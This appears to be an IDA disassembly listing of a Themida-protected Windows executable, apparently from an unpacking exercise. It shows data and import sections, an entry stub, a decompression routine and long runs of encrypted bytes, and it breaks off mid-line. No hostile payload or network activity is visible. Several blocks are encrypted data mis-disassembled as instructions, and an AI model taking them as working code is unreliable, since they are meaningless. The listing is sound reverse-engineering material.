; DATA XREF: sub_417552+5Eo dword_4D3FF0 dd 0 ; DATA XREF: sub_416F1A+93w ; sub_4170EC+A2r align 8 dword_4D3FF8 dd 0 ; DATA XREF: sub_416F1A+E7o ; sub_416F1A+103r ... dword_4D3FFC dd 0 ; DATA XREF: sub_417275+17Bw ; sub_41741C+107w dword_4D4000 dd 0 ; DATA XREF: sub_417275+180w ; sub_41741C+10Dw ... dword_4D4004 dd 0 ; DATA XREF: sub_417275+159w ; sub_417552+4Fr dword_4D4008 dd 0 ; DATA XREF: sub_4178BA+22w ; sub_4178BA:loc_417A3Fw ... dword_4D400C dd 0 ; DATA XREF: sub_401ACD+3CC3o ; sub_417788+12o ... dd 0 dword_4D4014 dd 0 ; DATA XREF: sub_4178BA+1Cr ; sub_417A5F+3Ar dd 4Eh dup(0) db 2 dup(0) word_4D4152 dw 0 ; DATA XREF: ___:off_437830o dd 30h dup(0) dword_4D4214 dd 0 ; DATA XREF: sub_4178BA+28r ; sub_417A5F+4Aw dword_4D4218 dd 1944h dup(0) dword_4DA728 dd 0 ; DATA XREF: sub_417A5F+23o dword_4DA72C dd 81h dup(0) ; DATA XREF: sub_401ACD+3CE1o ; sub_417788+3Co ... dword_4DA930 dd 17h dup(0) ; DATA XREF: sub_4187DD:loc_4188FAo ; sub_4187DD+131o ... dword_4DA98C dd 80h dup(0) ; DATA XREF: sub_419593+7Co ; sub_419593+A5o dword_4DAB8C dd 0 ; DATA XREF: sub_418B58+45w ; sub_418B58+4Dr ... dword_4DAB90 dd 17h dup(0) ; DATA XREF: sub_41945F:loc_419581o ; sub_41945F+12Do dword_4DABEC dd 80h dup(0) ; DATA XREF: sub_418A98+4Co ; sub_418A98+7Eo ... byte_4DADEC db 0 ; DATA XREF: sub_418B58+29r ; sub_418B58+34w align 10h dword_4DADF0 dd 80h dup(0) ; DATA XREF: sub_418DAF+61o ; sub_418DAF+89o ... dword_4DAFF0 dd 81h dup(0) ; DATA XREF: sub_4186C1:loc_4186F9o ; sub_4186C1+5Bo dword_4DB1F4 dd 0 ; DATA XREF: sub_419A20:loc_419A41r ; sub_419B0F+54r ... dword_4DB1F8 dd 0 ; DATA XREF: sub_419A20r ; sub_419B0F+37r ... dword_4DB1FC dd 0 ; DATA XREF: sub_419A50+1Ar ; sub_419C64+83o dword_4DB200 dd 0 ; DATA XREF: sub_419A20:loc_419A34r ; sub_419C64+11Bw dword_4DB204 dd 0Dh dup(0) ; DATA XREF: sub_419B0F+13o ; sub_419C64:loc_419DA1o dword_4DB238 dd 0 ; DATA XREF: sub_419B0F+CDr ; sub_419B0F+ECr ... align 10h dword_4DB240 dd 0Eh dup(0) ; DATA XREF: sub_41A88B+47o dword_4DB278 dd 0 ; DATA XREF: sub_41BBBD+1B9w ; ___:loc_41D268w ... dword_4DB27C dd 0 ; DATA XREF: sub_41D3BE+35w ; sub_41DA72:loc_41DB0Cw ... dword_4DB280 dd 0 ; DATA XREF: sub_423A33+13Ar dd 0A28h, 501h, 5, 1 dword_4DB294 dd 1 ; DATA XREF: ___:loc_401516r ; ___:00423014w dword_4DB298 dd 2430B30h ; DATA XREF: ___:0040151Fr ; ___:0040153Fr ... align 10h dword_4DB2A0 dd 2430B58h ; DATA XREF: ___:00422F0Ew ; sub_425AC7+9r ... dword_4DB2A4 dd 0 ; DATA XREF: sub_4261AB+36r dword_4DB2A8 dd 0 ; DATA XREF: sub_425AC7+16r ; sub_425E95+4r ... align 10h off_4DB2B0 dd offset aCM_unpackerPac ; DATA XREF: ___:00422FB1w ; "C:\\m_unpacker\\packed.exe" align 8 byte_4DB2B8 db 0 ; DATA XREF: sub_41B7D3+2Dw ; sub_4239DB+5r align 4 dword_4DB2BC dd 0 ; DATA XREF: sub_41B7D3+27w dword_4DB2C0 dd 0 ; DATA XREF: sub_41B7D3+4r ; sub_41B7D3+8Bw dword_4DB2C4 dd 0 ; DATA XREF: sub_41C0F4+3Br ; sub_41C0F4+91w dd 0 dword_4DB2CC dd 0 ; DATA XREF: sub_41C748+Aw dword_4DB2D0 dd 0 ; DATA XREF: sub_41D081+5Er ; sub_41D081+A4w align 8 word_4DB2D8 dw 0 ; DATA XREF: sub_41D081+55r ; sub_41D081+9Ao word_4DB2DA dw 0 ; DATA XREF: sub_41D081+48r db 2 dup(0) word_4DB2DE dw 0 ; DATA XREF: sub_41D081+3Br word_4DB2E0 dw 0 ; DATA XREF: sub_41D081+2Er word_4DB2E2 dw 0 ; DATA XREF: sub_41D081+21r align 8 dword_4DB2E8 dd 0 ; DATA XREF: ___:loc_422EDCr ; ___:loc_422F1Er ... align 10h dword_4DB2F0 dd 0 ; DATA XREF: sub_41DA29r ___:0041DA50o ... dword_4DB2F4 dd 0 ; DATA XREF: sub_41EB10+4Bw ; sub_41EC29+2Dw ... dword_4DB2F8 dd 0 ; DATA XREF: sub_41F312r dword_4DB2FC dd 0 ; DATA XREF: sub_41B202:loc_41B31Er ; sub_41B202:loc_41B43Fr ... dword_4DB300 dd 1 ; DATA XREF: sub_41FEA9:loc_420024r ; sub_420042+4w ... dword_4DB304 dd 0 ; DATA XREF: sub_420446+37r dd 0 dword_4DB30C dd 0 ; DATA XREF: sub_4219D9+11r ; sub_421ADD+1Ar ... byte_4DB310 db 0 ; DATA XREF: sub_4219D9+3r ; sub_4219D9+98r ... align 4 dword_4DB314 dd 0 ; DATA XREF: sub_421ADD+11r ; sub_421BBB+21w ... byte_4DB318 db 0 ; DATA XREF: sub_421BBB+51w align 4 dword_4DB31C dd 0 ; DATA XREF: sub_421DB1+4Er ; sub_42218C+3Ar ... dword_4DB320 dd 0 ; DATA XREF: sub_421DB1+5Cr ; sub_42218C+43r ... dword_4DB324 dd 0 ; DATA XREF: sub_41C9CE+7Ar ; sub_421F58+5r dword_4DB328 dd 0 ; DATA XREF: sub_42255C+29r dword_4DB32C dd 2 dup(0) ; DATA XREF: sub_41D160+Co dword_4DB334 dd 0 ; DATA XREF: sub_41D5AA+4r ; sub_41D5AA+6Er ... dd 3 dup(0) dword_4DB344 dd 0 ; DATA XREF: sub_41D834+61r ; sub_41D834+BFr ... dd 0 dword_4DB34C dd 1 ; DATA XREF: sub_422ACA+28r ; sub_422ACA+4Cw ... dword_4DB350 dd 0 ; DATA XREF: ___:00422D28r ; ___:00422D34w ... aCM_unpackerPac db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: ___:loc_422F9Ao ; ___:off_4DB2B0o align 10h dd 3Ah dup(0) dword_4DB458 dd 1 ; DATA XREF: ___:004231D2r ; ___:004231F3w ... dword_4DB45C dd 0 ; DATA XREF: sub_423590+21r dword_4DB460 dd 0 ; DATA XREF: sub_41F32D+154w ; sub_420446:loc_42046Fw ... dword_4DB464 dd 0 ; DATA XREF: sub_41F32D+7r dword_4DB468 dd 1 ; DATA XREF: sub_423CEC+26r ; sub_423CEC:loc_423D56w align 10h word_4DB470 dw 0 ; DATA XREF: sub_4245E9+1Ao ; sub_4245E9+46r byte_4DB472 db 0 ; DATA XREF: sub_4245E9+39r align 4 dword_4DB474 dd 7 dup(0) ; DATA XREF: sub_4245E9+52o dword_4DB490 dd 0 ; DATA XREF: sub_4245E9+40w ; sub_4245E9+5Co dword_4DB494 dd 0 ; DATA XREF: sub_4245E9+4Dw dword_4DB498 dd 0 ; DATA XREF: sub_4245E9+31w dword_4DB49C dd 0 ; DATA XREF: sub_4245E9+52w dword_4DB4A0 dd 77C26E79h ; DATA XREF: sub_42470C:loc_42472Fr ; sub_42470C+38r ... align 8 dword_4DB4A8 dd 0 ; DATA XREF: sub_4247EC+11w ; sub_4247EC+63w ... align 10h dword_4DB4B0 dd 0 ; DATA XREF: sub_4247EC+33o ; sub_4247EC+46r dword_4DB4B4 dd 10h dup(0) ; DATA XREF: sub_4247EC+C1o word_4DB4F4 dw 0 ; DATA XREF: sub_424A4A+A8r word_4DB4F6 dw 0 ; DATA XREF: sub_4247EC+54r ; sub_424A4A+DBr ... word_4DB4F8 dw 0 ; DATA XREF: sub_424A4A+CAr word_4DB4FA dw 0 ; DATA XREF: sub_424A4A+D3r ; sub_424A4A:loc_424B3Cr word_4DB4FC dw 0 ; DATA XREF: sub_424A4A+C0r word_4DB4FE dw 0 ; DATA XREF: sub_424A4A+B8r word_4DB500 dw 0 ; DATA XREF: sub_424A4A+B0r word_4DB502 dw 0 ; DATA XREF: sub_424A4A+9Er dword_4DB504 dd 0 ; DATA XREF: sub_4247EC+4Br dword_4DB508 dd 10h dup(0) ; DATA XREF: sub_4247EC+FBo word_4DB548 dw 0 ; DATA XREF: sub_424A4A+46r word_4DB54A dw 0 ; DATA XREF: sub_4247EC:loc_424863r ; sub_424A4A+78r ... word_4DB54C dw 0 ; DATA XREF: sub_424A4A+67r word_4DB54E dw 0 ; DATA XREF: sub_424A4A+70r ; sub_424A4A:loc_424ACEr word_4DB550 dw 0 ; DATA XREF: sub_424A4A+5Dr word_4DB552 dw 0 ; DATA XREF: sub_424A4A+55r word_4DB554 dw 0 ; DATA XREF: sub_424A4A+4Dr word_4DB556 dw 0 ; DATA XREF: sub_424A4A+3Er dword_4DB558 dd 0 ; DATA XREF: sub_4247EC+80r dword_4DB55C dd 0 ; DATA XREF: sub_4247EC+132r ; sub_4247EC:loc_424938r ... dword_4DB560 dd 0 ; DATA XREF: sub_4247D7r sub_4247D7+Ew dword_4DB564 dd 0 ; DATA XREF: sub_424D78+3r ; sub_424D78+2Ew ... dword_4DB568 dd 0 ; DATA XREF: sub_424D78+43w ; sub_424D78:loc_424DC7r dword_4DB56C dd 0 ; DATA XREF: sub_424D78+4Aw ; sub_424D78+60r dword_4DB570 dd 0 ; DATA XREF: sub_423A33+3Fr dword_4DB574 dd 0 ; DATA XREF: sub_425955:loc_4259BCr ; sub_425955+6Do dword_4DB578 dd 0 ; DATA XREF: sub_425955:loc_425993r ; sub_425955+44o dword_4DB57C dd 0 ; DATA XREF: sub_425955:loc_425986r ; sub_425955+37o dword_4DB580 dd 0 ; DATA XREF: sub_425955:loc_4259A0r ; sub_425955+51o align 8 dword_4DB588 dd 0 ; DATA XREF: sub_425F03+28r ; sub_425F03+48w ... dword_4DB58C dd 0 ; DATA XREF: sub_426988+28r ; sub_426988+4Cw ... dword_4DB590 dd 0 ; DATA XREF: sub_426C13+26r ; sub_426C13:loc_426C7Dw byte_4DB594 db 0 ; DATA XREF: sub_40D878r sub_40D878+9w align 4 dword_4DB598 dd 2431140h ; DATA XREF: sub_41DBF0:loc_41DC01r ; sub_41F49D+14r ... align 10h dword_4DB5A0 dd 400h dup(0) ; DATA XREF: ___:off_43C9E8o ; ___:0043C9F0o dword_4DC5A0 dd 200h ; DATA XREF: sub_41DBF0+9r ; sub_41DBF0+56r ... dd 7 dup(0) dword_4DC5C0 dd 2430650h ; DATA XREF: sub_41F043+75r ; sub_41F11C+2Ar ... dword_4DC5C4 dd 3Fh dup(0) ; DATA XREF: ___:00423394o dword_4DC6C0 dd 20h ; DATA XREF: sub_41DA72+8r ; sub_41F11C+Cr ... dword_4DC6C4 dd 4E4h ; DATA XREF: sub_41FEA9+14r ; sub_41FEA9+65w ... align 10h dword_4DC6D0 dd 3 dup(0) ; DATA XREF: sub_41FEA9+123o ; sub_41FEA9+171o ... dword_4DC6DC dd 0 ; DATA XREF: sub_41FEA9+108w ; sub_41FEA9+15Dw ... byte_4DC6E0 db 0 ; DATA XREF: sub_4200E8:loc_4201F4w ; sub_4200E8:loc_420211w ... align 4 dd 0Fh dup(0) dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h dd 77767574h, 7A7978h, 0 dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h dd 57565554h, 5A5958h, 0 dd 83000000h, 0 dd 9A0000h, 9E009Ch, 2 dup(0) dd 8A0000h, 0FF8E008Ch, 2 dup(0) dd 0AA0000h, 2 dup(0) dd 0B500h, 0BA0000h, 0 dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h dd 9FDEDDDCh byte_4DC7E0 db 0 ; DATA XREF: sub_41FEA9+5Co ; sub_41FEA9+AFo ... byte_4DC7E1 db 0 ; DATA XREF: sub_41B9D1+5Dr ; sub_41FEA9+A0w ... align 4 dd 0Fh dup(0) dd 10100000h, 6 dup(10101010h), 0 dd 20200000h, 6 dup(20202020h), 2 dup(0) dd 20h, 10000000h, 10001000h, 2 dup(0) dd 20000000h, 20002000h, 10h, 0 dd 20000000h, 2 dup(0) dd 200000h, 20000000h, 0 dd 10101000h, 5 dup(10101010h), 10101000h, 10101010h, 6 dup(20202020h) dd 20202000h, 20202020h, 20h dword_4DC8E4 dd 0 ; DATA XREF: sub_41FEA9+6Ew ; sub_41FEA9+12Bw ... dword_4DC8E8 dd 0 ; DATA XREF: sub_41E4D4+5r ; sub_41E4D4+32w dword_4DC8EC dd 0 ; DATA XREF: sub_41DEA2+23Ar ; sub_41DEA2+25Ar ... dword_4DC8F0 dd 0 ; DATA XREF: sub_41DEA2+311w ; sub_41E1CB:loc_41E21Br ... dword_4DC8F4 dd 0 ; DATA XREF: sub_41DEA2+22Dr ; sub_41DEA2+260r ... dword_4DC8F8 dd 0 ; DATA XREF: sub_41DE77r ; sub_41DEA2+2CBr ... dword_4DC8FC dd 0 ; DATA XREF: sub_41DE77+8r ; sub_41DEA2+2D0r ... dword_4DC900 dd 0 ; DATA XREF: sub_41B202+5Cr ; sub_41B513+Fr ... dword_4DC904 dd 2430000h ; DATA XREF: sub_41B0B1+5Ar ; sub_41B202+C0r ... dword_4DC908 dd 1 ; DATA XREF: sub_41B0B1+Cr ; sub_41B202:loc_41B232r ... dword_4DC90C dd 142340h ; DATA XREF: ___:00422E81r ; ___:00422FACr dword_4DC910 dd 1 ; DATA XREF: ___:00422F77w sub_425AC7r dword_4DC914 dd 1 ; DATA XREF: sub_42026Dr ; sub_42026D+11w ... dword_4DC918 dd 2430758h ; DATA XREF: sub_41B7D3+3Er ; sub_41CFD3+13r ... dword_4DC91C dd 2430758h ; DATA XREF: sub_41B7D3+35r ; sub_41B7D3+57r ... dd 1B8h dup(0) dd 127h, 19Ch, 1DCh, 221h, 233h, 290h, 3FAh dup(0) ___ ends ; Section 2. (virtual address 000DE000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00001000 ( 4096.) ; Offset to raw data for section: 000DE000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _rsrc___ segment para public 'DATA' use32 assume cs:_rsrc___ ;org 4DE000h dd 400h dup(0) _rsrc___ ends ; Section 3. (virtual address 000DF000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00001000 ( 4096.) ; Offset to raw data for section: 000DF000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata__ segment para public 'DATA' use32 assume cs:_idata__ ;org 4DF000h a7icwCw db '7¨çwµ\çw',0 align 4 dd 77345219h, 4 dup(0) dd 0DF050h, 0DF000h, 3 dup(0) dd 0DF079h, 0DF00Ch, 5 dup(0) aKernel32_dll_0 db 'KERNEL32.dll',0 db 2 dup(0), 43h aReatefilea db 'reateFileA',0 align 4 dd 69784500h, 6F725074h, 73736563h, 4D4F4300h, 334C5443h dd 6C642E32h, 6Ch aInitcommoncont db 'InitCommonControls',0 align 1000h _idata__ ends ; Section 4. (virtual address 000E0000) ; Virtual size : 000E0000 ( 917504.) ; Section size in file : 000E0000 ( 917504.) ; Offset to raw data for section: 000E0000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write Themida_ segment para public 'DATA' use32 assume cs:Themida_ ;org 4E0000h dd 0EE508D91h, 4A7E4h, 54093h, 95172h, 0 ; =============== S U B R O U T I N E ======================================= public start start proc near var_1C = dword ptr -1Ch ; FUNCTION CHUNK AT 004E0265 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0053E1CD SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00541506 SIZE 00000062 BYTES ; FUNCTION CHUNK AT 0054177C SIZE 00000047 BYTES mov eax, 0 pusha or eax, eax jz short loc_4E0086 call $+5 pop eax add eax, 53h cmp byte ptr [eax], 0E9h jnz short loc_4E0041 popa jmp short loc_4E0076 ; --------------------------------------------------------------------------- db 0DBh, 2Dh, 37h dd 0FF004E00h, 0FFFFFFFFh, 3DFFFFFFh db 40h ; --------------------------------------------------------------------------- loc_4E0041: ; CODE XREF: start+18j call $+5 pop eax loc_4E0047: ; DATA XREF: ___:00437A34o and eax, 0FFFFF000h xor edi, edi loc_4E004E: ; CODE XREF: start+5Ej mov bx, 5A19h add bx, 34h cmp [eax], bx jnz short loc_4E006D movzx edx, word ptr [eax+3Ch] add edx, eax mov ebx, 44E9h add ebx, 67h cmp [edx], ebx jz short loc_4E0074 loc_4E006D: ; CODE XREF: start+45j sub eax, 1000h jmp short loc_4E004E ; --------------------------------------------------------------------------- loc_4E0074: ; CODE XREF: start+57j mov edi, eax loc_4E0076: ; CODE XREF: start+1Bj jmp loc_4E0265 ; --------------------------------------------------------------------------- db 3 dd 26AB9C7h, 0CF03000Eh db 0EBh, 0Ah ; --------------------------------------------------------------------------- loc_4E0086: ; CODE XREF: start+8j mov eax, offset loc_53E1CD mov ecx, offset word_4E026A push eax push ecx call sub_4E011B call $+5 pop eax sub eax, 26h mov ecx, 1EFh mov byte ptr [eax], 0E9h sub ecx, 5 mov [eax+1], ecx popa jmp loc_4E0265 start endp ; sp-analysis failed ; --------------------------------------------------------------------------- dw 9328h dd 7888E4C9h, 0DA6E5EBCh, 3D630BCFh, 0D85F1F80h, 0DCBA75EBh dd 1D3B76EDh, 3163C78Eh, 93264C98h, 78F2E4C9h, 172F5EBCh dd 9122458Bh, 0D8B164C8h, 0DCBA75EBh, 1D3B76EDh, 564635CCh dd 0F28784C5h, 78F2E432h, 172F5EBCh, 9122458Bh, 0D8B164C8h dd 0DCBA75EBh, 1D3B76EDh, 3163C78Eh, 93264C98h db 0C8h, 0E4h, 0F2h ; =============== S U B R O U T I N E ======================================= sub_4E011B proc near ; CODE XREF: start+7Ep var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 pusha mov esi, [esp+20h+arg_0] mov edi, [esp+20h+arg_4] cld mov dl, 80h loc_4E0127: ; CODE XREF: sub_4E011B:loc_4E013Bj mov al, [esi] inc esi mov [edi], al inc edi mov ebx, 2 loc_4E0132: ; CODE XREF: sub_4E011B+7Aj ; sub_4E011B+C3j ... add dl, dl jnz short loc_4E013B mov dl, [esi] inc esi adc dl, dl loc_4E013B: ; CODE XREF: sub_4E011B+19j jnb short loc_4E0127 add dl, dl jnz short loc_4E0146 mov dl, [esi] inc esi adc dl, dl loc_4E0146: ; CODE XREF: sub_4E011B+24j jnb short loc_4E0197 xor eax, eax add dl, dl jnz short loc_4E0153 mov dl, [esi] inc esi adc dl, dl loc_4E0153: ; CODE XREF: sub_4E011B+31j jnb loc_4E0238 add dl, dl jnz short loc_4E0162 mov dl, [esi] inc esi adc dl, dl loc_4E0162: ; CODE XREF: sub_4E011B+40j adc eax, eax add dl, dl jnz short loc_4E016D mov dl, [esi] inc esi adc dl, dl loc_4E016D: ; CODE XREF: sub_4E011B+4Bj adc eax, eax add dl, dl jnz short loc_4E0178 mov dl, [esi] inc esi adc dl, dl loc_4E0178: ; CODE XREF: sub_4E011B+56j adc eax, eax add dl, dl jnz short loc_4E0183 mov dl, [esi] inc esi adc dl, dl loc_4E0183: ; CODE XREF: sub_4E011B+61j adc eax, eax jz short loc_4E018D push edi sub edi, eax mov al, [edi] pop edi loc_4E018D: ; CODE XREF: sub_4E011B+6Aj mov [edi], al inc edi mov ebx, 2 jmp short loc_4E0132 ; --------------------------------------------------------------------------- loc_4E0197: ; CODE XREF: sub_4E011B:loc_4E0146j mov eax, 1 loc_4E019C: ; CODE XREF: sub_4E011B:loc_4E01B0j add dl, dl jnz short loc_4E01A5 mov dl, [esi] inc esi adc dl, dl loc_4E01A5: ; CODE XREF: sub_4E011B+83j adc eax, eax add dl, dl jnz short loc_4E01B0 mov dl, [esi] inc esi adc dl, dl loc_4E01B0: ; CODE XREF: sub_4E011B+8Ej jb short loc_4E019C sub eax, ebx mov ebx, 1 jnz short loc_4E01E3 mov ecx, 1 loc_4E01C0: ; CODE XREF: sub_4E011B:loc_4E01D4j add dl, dl jnz short loc_4E01C9 mov dl, [esi] inc esi adc dl, dl loc_4E01C9: ; CODE XREF: sub_4E011B+A7j adc ecx, ecx add dl, dl jnz short loc_4E01D4 mov dl, [esi] inc esi adc dl, dl loc_4E01D4: ; CODE XREF: sub_4E011B+B2j jb short loc_4E01C0 push esi mov esi, edi sub esi, ebp rep movsb pop esi jmp loc_4E0132 ; --------------------------------------------------------------------------- loc_4E01E3: ; CODE XREF: sub_4E011B+9Ej dec eax shl eax, 8 mov al, [esi] inc esi mov ebp, eax mov ecx, 1 loc_4E01F1: ; CODE XREF: sub_4E011B:loc_4E0205j add dl, dl jnz short loc_4E01FA mov dl, [esi] inc esi adc dl, dl loc_4E01FA: ; CODE XREF: sub_4E011B+D8j adc ecx, ecx add dl, dl jnz short loc_4E0205 mov dl, [esi] inc esi adc dl, dl loc_4E0205: ; CODE XREF: sub_4E011B+E3j jb short loc_4E01F1 cmp eax, 7D00h jnb short loc_4E0228 cmp eax, 500h jb short loc_4E0223 inc ecx push esi mov esi, edi sub esi, eax rep movsb pop esi jmp loc_4E0132 ; --------------------------------------------------------------------------- loc_4E0223: ; CODE XREF: sub_4E011B+F8j cmp eax, 7Fh ja short loc_4E022B loc_4E0228: ; CODE XREF: sub_4E011B+F1j add ecx, 2 loc_4E022B: ; CODE XREF: sub_4E011B+10Bj push esi mov esi, edi sub esi, eax rep movsb pop esi jmp loc_4E0132 ; --------------------------------------------------------------------------- loc_4E0238: ; CODE XREF: sub_4E011B:loc_4E0153j mov al, [esi] inc esi xor ecx, ecx shr al, 1 jz short loc_4E0259 adc ecx, 2 mov ebp, eax push esi mov esi, edi sub esi, eax rep movsb pop esi mov ebx, 1 jmp loc_4E0132 ; --------------------------------------------------------------------------- loc_4E0259: ; CODE XREF: sub_4E011B+125j sub edi, [esp+20h+arg_4] mov [esp+20h+var_4], edi popa retn 8 sub_4E011B endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_4E0265: ; CODE XREF: start:loc_4E0076j ; start+9Dj jmp loc_53E1CD ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- word_4E026A dw 38E9h ; DATA XREF: start+77o dd 1523334h, 2422BFBAh, 0F3FB0AE1h, 0BF7B8401h, 102E92E2h dd 848B36BCh, 70C6A87Eh, 115D8703h, 0E4877071h, 0DD215C98h dd 2D3430E0h, 0AF0AE131h, 656854C0h, 6438696Dh, 88AE4661h dd 0EB42B835h, 0E12122EFh, 29FFBE0Fh, 0FA759401h, 0D27DC845h dd 0D0DF204Dh, 730E6552h, 67726174h, 2E177041h, 3FCB78A7h dd 2214D7D0h, 0F723DC01h, 0DC33435Eh, 0B4DEDF21h, 6EFE5774h dd 0AB110311h, 21C58BC7h, 0C2E860D4h, 0ED815D20h, 0E9330143h dd 31958905h, 0B50D9F2Ah, 85080291h, 83021291h, 0E035DBDh dd 8B0C7401h, 0B8E2C8E8h, 0C21EB991h, 244470F1h, 453E10C7h dd 986A3A2Eh, 6829A3E8h, 83741E9Ah, 0ADF9407h, 894B2507h dd 42D5A40Ah, 450214E9h db 54h, 7Dh, 0 ; --------------------------------------------------------------------------- push ebp mov ebp, esp add esp, 0FFFFFFD8h lodsb out dx, al add al, 5Ah sub edx, 8B003431h fcmovb st, st(7) loc_4E0351: ; CODE XREF: Themida_:004E036Ej inc ebp fcom dword ptr [ecx+400EB108h] mov [edi-33827EF8h], ecx sbb byte ptr ds:200F6774h, 8 repne sbb dword ptr [ebx-7900EFB7h], 12h inc ebx jmp short loc_4E0351 ; --------------------------------------------------------------------------- dd 61DC3736h, 0C2C94126h, 81464004h, 0FF687CC4h, 7AE44902h dd 80458D40h, 8145D8Bh, 441985C7h, 0AA08D50h, 880AC3D1h dd 0B894118h, 6BD818Ah, 75295D20h, 8D4227E3h, 0C0648EBAh dd 0E8A8075h, 5BF449BBh, 37ABB800h, 0D0D37854h, 8C30FFCh dd 0B0F7754Bh, 5247C3AFh, 46464A46h, 2B42F92Ah, 0A08A61D1h dd 0FDF075D0h, 0FC45EE8Ah, 4EB0A4Dh, 468C3CADh, 0F7403E80h dd 6E84BA53h, 0C7D6134h, 3E907FEBh, 126DCCF8h, 0ECA84F0h dd 4A8110F4h, 4F065C1h, 0D1F8D640h, 0C20339E0h, 0DB332860h dd 301C1C8Ah, 72CCFB80h, 3D390A0Ah, 0EB3E0577h, 142267F2h dd 0A0DF661h, 86F667Fh, 0C34E5F1Eh, 1A10AC0Ah, 0B723041h dd 677460Ah, 18A224DEh, 0ECF05D01h, 7D7383F4h, 0B072021Bh dd 76C0370Ch, 26AA66A5h, 7CEF841h, 0A86A8Dh, 0FFC553Bh dd 0BDA97882h, 0BEAAC1B0h, 8BA5038h, 70E0B9E0h, 0C0BDFCA8h dd 1FE3540h, 7549470Fh, 0C522B9FAh, 1BBDC6Ah, 82F1F4E3h dd 1D0CEB6Fh, 0B3868E80h, 3806EA37h, 36376551h, 8AE5FE1Dh dd 0E9070A26h, 6B590F05h, 42C54EFh, 5C392113h, 5D8A01C4h dd 45820525h, 21160898h, 0C4015444h, 0C32C87EDh, 198712EAh dd 0D7EF787Bh, 32638EC8h, 0EAC85C27h, 319D2FAh, 0F1806ACAh dd 0CB8CE287h, 82670034h, 5B004E39h, 0B8100F76h, 7C043D51h dd 613B76D1h, 9755A46h, 8011D52Eh, 0E4EC480Eh, 0A0069065h dd 0AC58463h, 0C6968E05h, 0E1539180h, 2951C204h, 0E89B718Ch dd 0A0760EE7h, 812BFF61h, 22800477h, 84C1341Dh, 753233F9h dd 0E3FBC20h, 0EFCC0AEEh, 41E60230h, 8C33EC71h, 0F2FFCC7Fh dd 0FD451940h, 604AE9h, 8C52C462h, 1011254Dh, 99B1AA82h dd 84A15AABh, 0E6561413h, 0EE825EC1h, 88155D1h, 8A9F8F07h dd 4013B954h, 43A59723h, 43D1B40Eh, 0BE871038h, 0BC670E1Bh dd 8D84FD17h, 531982DAh, 0E4C45B30h, 2255468Ah, 5343001Bh dd 469C76C4h, 5A2868D6h, 0F4009FB2h, 0E28161CFh, 0C009E905h dd 0AA0E3B2Fh, 12003D9Fh, 0B5CFD95h, 0FB8610CAh, 578023B2h dd 0E4C45F30h, 2275468Ah, 57470115h, 8D100DC4h, 82158007h dd 0FE8B90D4h, 86C80A1Fh, 399502BEh, 0E08C21E3h, 0F2953C3h dd 0D43F12F9h, 398C5644h, 8A10C45Eh, 5646E06Dh, 0EAC92AC4h dd 0DCA4F7E7h, 0DB803E0Ah, 3E0E87C2h, 16097AE5h, 198E9E6Ah dd 19D0B7AFh, 2ADA00CEh, 714B53D2h, 86035E9Ah, 29BA7A41h dd 2446B18Ah, 0DA8CA28Dh, 10DEB110h, 49800AE9h, 0EF382AF8h dd 0C2006F84h, 0FEBF89D3h, 16FDF5h, 0F28C675Ch, 5ED1C482h dd 0F3C9FDABh, 807A4769h, 591CB7BFh, 0BCDF8207h, 8C115B9Fh dd 0BBF8040Dh, 0EA1AC341h, 0EAD7DBD0h, 3E1A11DCh, 0D133057h dd 0C55E7Fh, 16A2A896h, 25BB5362h, 0B307B00h, 0F9042014h dd 0C282025Bh, 9BEE1A7h, 45A5D000h, 10541423h, 949DE685h dd 60185081h, 0D0828C8Ah, 0BEA61F1Ch, 0C8D8C4F3h, 292D3DE9h dd 9EAC6C60h, 0FF4BC0B8h, 0B0A443A3h, 97008B75h, 5FCB8363h dd 3782E7E1h, 673939C1h, 643A9F9h, 6281DA38h, 80048F0Dh dd 43D2C047h, 300B005Eh, 1C47815Bh, 0C3009C86h, 6651E611h dd 6141A96h, 0F01DB1F5h, 0BE1D287Eh, 56064CB5h, 838F4h dd 0DB680E0Bh, 22C545BBh, 0E68BB103h, 342F458h, 0EC71FC21h dd 0D3A8AFC9h, 7C263154h, 0E40037F3h, 124E1BACh, 62FB01D8h dd 1926153Bh, 30388065h, 0D7834FC2h, 687B000Eh, 8CDB2B52h dd 757BEB18h, 27DC4801h, 0C9B1305Dh, 0D08F0F0h, 6A71F99Bh dd 56B09D34h, 0A74BBBC0h, 1C1329Ah, 45B3D5E1h, 803DF359h dd 66B822A1h, 4B962Ah, 29218D2Eh, 436B5761h, 58906554h dd 0F39FC00h, 0D3A08EEFh, 0EA801D6h, 8FD02042h, 1955E8BAh dd 8BB96D60h, 3FF961h, 4BEFBD85h, 0BA9D76DFh, 0DA23B200h dd 8CB44CBEh, 315C611Bh, 8D1DDB6Ah, 99B61AB1h, 0C07C44F0h dd 0FE98BC81h, 7006F0A9h, 0DDC6ABBh, 916B0731h, 870A9A44h dd 0B286A05Ah, 3300764Dh, 4F1ABEE8h, 505214h, 7020BD73h dd 22B6BB09h, 3739DD0Eh, 0BE6A814Bh, 8BED2FBh, 96C0A100h dd 0E90BD5B8h, 0E540E100h, 49D0520Eh, 4C2A30B9h, 340A2282h dd 0E1DD30C1h, 0DD447BFCh, 0B453AFC0h, 46190C20h, 1B20B854h dd 31A13018h, 6CF88210h, 0C37840A3h, 4F10CE00h, 54BDD116h dd 0E631030Fh, 